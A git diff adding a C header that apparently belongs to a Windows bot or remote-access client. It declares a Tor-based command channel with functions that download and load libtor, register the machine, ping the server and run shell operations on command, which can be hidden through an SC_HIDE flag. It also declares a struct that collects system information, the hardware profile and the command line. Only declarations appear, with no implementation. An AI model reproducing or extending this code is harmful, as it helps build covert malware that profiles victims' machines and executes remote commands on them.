1 files changed, 140 insertions, 0 deletions
diff --git a/include/http.h b/include/http.h
new file mode 100644
index 0000000..4f41471
--- /dev/null
+++ b/include/http.h
@@ -0,0 +1,140 @@
+#ifndef HTTP_H_INCLUDED
+#define HTTP_H_INCLUDED
+
+#ifdef _WIN32
+#include <windows.h>
+#endif
+
+#include "compat.h"
+
+#define ERR_HTTP_OK       0
+#define ERR_HTTP_PRE      2
+#define ERR_HTTP_CONNECT  4
+#define ERR_HTTP_REQUEST  8
+#define ERR_HTTP_SEND     16
+#define ERR_HTTP_WRITE    32
+#define ERR_HTTP_RESPONSE 64
+#define ERR_HTTP_QUERY    128
+#define ERR_HTTP_READ     256
+
+#define RSP_OK            0
+#define RSP_ERR           2
+#define RSP_PROTOCOL      4
+#define RSP_PROTOCOL_FLAG 8
+#define RSP_PROTOCOL_CODE 16
+#define RSP_WRONGSIZE     32
+#define RSP_WRONGPKGSIZE  64
+
+#define ST_UNAUTH         128
+
+#define SID_LEN           32
+#define SID_ZEROES0       0x10
+#define SID_ZEROES1       0x05
+#define MARKER_SIZ        8
+#define RND_LEN           64
+#define AESKEY_SIZ        32
+
+/* response flags from server */
+#define RF_AGAIN          0x41
+#define RF_ERROR          0x42
+#define RF_OK             0x66
+#define RF_ALL            {RF_AGAIN,RF_ERROR,RF_OK}
+/* response codes (RCs) from server <=> request client action */
+/* response codes (RCs)   to server <=> request server action */
+#define RC_INFO           0xACAB
+#define RC_REGISTER       0xAABB
+#define RC_PING           0x0043
+#define RC_SHELL          0x0044
+#define RC_ALL            {RC_INFO,RC_REGISTER,RC_PING,RC_SHELL}
+
+
+typedef unsigned char  rpkg[0];
+
+typedef unsigned char  rflags;
+typedef uint16_t       rrcode;
+typedef unsigned char* rrbuff;
+typedef uint32_t       rrsize;
+
+typedef struct http_resp {
+    char   startMarker[MARKER_SIZ];
+    rflags respFlags;       /* RF_* */
+    rrcode respCode;        /* RC_* */
+    rrsize pkgsiz;
+    rpkg   pkgbuf;
+} __attribute__((packed, gcc_struct)) http_resp;
+
+
+#ifdef _WIN32
+typedef int (__stdcall *tor_main_t) (int proxy_port, unsigned int ident);
+
+int initHttp(LoadLibraryFunc loadlib, GetProcAddressFunc getproc);
+
+typedef struct http_args {
+    LPCSTR host;
+    DWORD  hostLen;
+    LPCSTR resource;
+    DWORD  resourceLen;
+    LPCSTR method;
+    DWORD  methodLen;
+    rrbuff upload;
+    DWORD  uploadLen;
+} http_args;
+
+int sendHttpRequest(http_args* hArgs, rrbuff* recv_buf, rrsize* recv_siz, DWORD* pStatusCode);
+
+int sendWeb2Tor(LPCSTR resource, LPCSTR method, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz);
+
+int downloadLibtor(char** pLibPath);
+
+tor_main_t
+loadLibtor(char* libPath, HMODULE* hmod, LoadLibraryFunc loadlib, GetProcAddressFunc getproc);
+
+int sendRequest(rrcode query_code, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz);
+
+int httpLoopAtLeastOnce(void);
+
+uint32_t getNextPingTime(void);
+
+#endif /* _WIN32 */
+
+int parseResponse(const rrbuff recv_buff, rrsize recv_siz, http_resp** hResp, size_t* pBufOff, const char* startMarker);
+
+int addRequest(rrbuff* send_buf, rrsize* send_siz, struct http_resp* hresp);
+
+/* data structures for valid pkgbuf's */
+#ifdef _WIN32
+struct req_info {
+    SYSTEM_INFO      si;
+    HW_PROFILE_INFOA hw;
+    uint16_t         cmdLineLen;
+    uint8_t          devsLen;
+    rpkg             data;
+} __attribute__((packed, gcc_struct));
+#endif
+
+struct resp_register {
+    unsigned char aeskey[AESKEY_SIZ];
+    uint32_t next_ping;
+} __attribute__((packed, gcc_struct));
+
+struct resp_pong {
+    uint32_t next_ping;
+} __attribute__((packed, gcc_struct));
+
+#define OP_OPEN 1
+#define OP_EXPL 2
+#define OP_PRNT 4
+
+#define SC_HIDE 0
+#define SC_SHOW 255
+
+struct resp_shell {
+    uint8_t  operation;
+    uint8_t  showcmd;
+    uint16_t fileLen;
+    uint16_t paramLen;
+    uint16_t dirLen;
+    rpkg     data;
+} __attribute__((packed, gcc_struct));
+
+#endif /* HTTP_H_INCLUDED */